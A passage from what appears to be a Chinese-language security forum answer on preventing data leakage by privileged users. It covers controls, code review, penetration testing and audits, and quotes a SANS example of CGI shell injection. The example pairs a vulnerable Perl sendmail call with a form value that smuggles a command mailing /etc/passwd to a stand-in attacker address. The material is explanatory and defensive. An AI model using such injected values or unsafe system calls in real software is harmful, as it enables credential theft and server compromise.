行。有时感觉太安全是硬币的另一面。有点偏执实际上并不是一件坏事。
谈到您的问题,如果我在您的位置,我将采取以下步骤来降低风险水平:-
对*数据丢失防护*进行“需求分析” *考虑到它不是有权访问数据的 webapp 前端用户,而是可以滥用信任的特权用户可能会泄露个人的敏感/私人信息。基于数据丢失防护。摘录说:-
...“单独的检测控制是不够的。虽然检测控制可以提供可见性,但预防控制是减少意外和故意数据泄漏的必要条件。”
识别控制;牢记基本原则,即任何检测或纠正控制都应以“预防”的概念构建。例如,足够智能的检测控制可以快速检测错误行为并在发生错误时向管理员发送短信。考虑使用完整性检查软件,例如tripwire 或ossec。
定义严格的访问控制策略以限制攻击者的滥用或攻击面。
- 执行手动代码审查或通过使用 appscan 等自动化代码测试工具执行代码的动态分析。应该应用必要的检查和平衡来检测未经授权的访问、异常和记录取证相关字段以供执法。同样在代码级别,您可以通过输入/输出控制等操作控制检查完整性。
- 定期进行网络安全评估/渗透测试,以衡量控制措施的有效性。
- 对整个系统、数据库和前端进行内部审计。识别合规相关问题并加以解决。
- 为最终用户制定完善的安全意识计划或政策,以保持安全警惕并主动识别与其隐私相关的攻击。
例子
一个很好的例子,但解释并补充了我在上面的讨论,尤其是关于手动代码测试的讨论。节选自《以攻为守》一文。SANS 列出了有关 Web 应用程序的输入控制弱点,如下所示:-
CGI 和底层应用程序也受到输入攻击。如果他们根据用户输入重写网页,他们就会受到 HTML 恶意标签的影响,如果他们没有足够的输入控制,他们就会受到变体(跨站点脚本、缓冲区溢出和 shell 攻击)的影响。
最常被引用的 CGI 安全漏洞示例涉及操纵 shell 程序执行一些意想不到的事情。下面的表格允许用户通过电子邮件将消息发送给指定的人。例如下面的 HTML 表单页面:
<INPUT TYPE="radio" NAME="send_to"
VALUE="northcutt@sans.org">Stephen Northcutt<br>
该过程的下一步是执行一个脚本,将消息写入一个临时文件,然后将该文件通过电子邮件发送到选定的地址。在 Perl 中,这可以通过以下命令完成:
System("/usr/lib/sendmail -t $send_to < $temp_file");
只要用户从给定的地址中进行选择,一切都会正常工作。然而,没有办法确定。因为 HTML 表单本身已经传输到用户的客户端机器上,所以可以编辑为:
<INPUT TYPE="radio" NAME="send_to" VALUE="northcutt@sans.org;mail badguy@evilempire.org</etc/passwd">Stephen<br>
一旦这个发送出去,原来的 sendmail 调用就会在分号处停止,系统会执行下一个命令。下一个命令会将密码文件邮寄给用户,然后用户可以对其进行解密并使用它来获得对服务器的登录访问权限。
检测此类攻击的 SANS 策略
- 不幸的是,这种攻击(输入控制)不受基于签名的网络入侵检测系统(IDS)的影响,因为它看起来像正常的网上冲浪流量。
- 基于主机的 IDS 可能能够使用应用程序错误日志来检测这种攻击,为这些日志开发签名将是一个有趣的项目。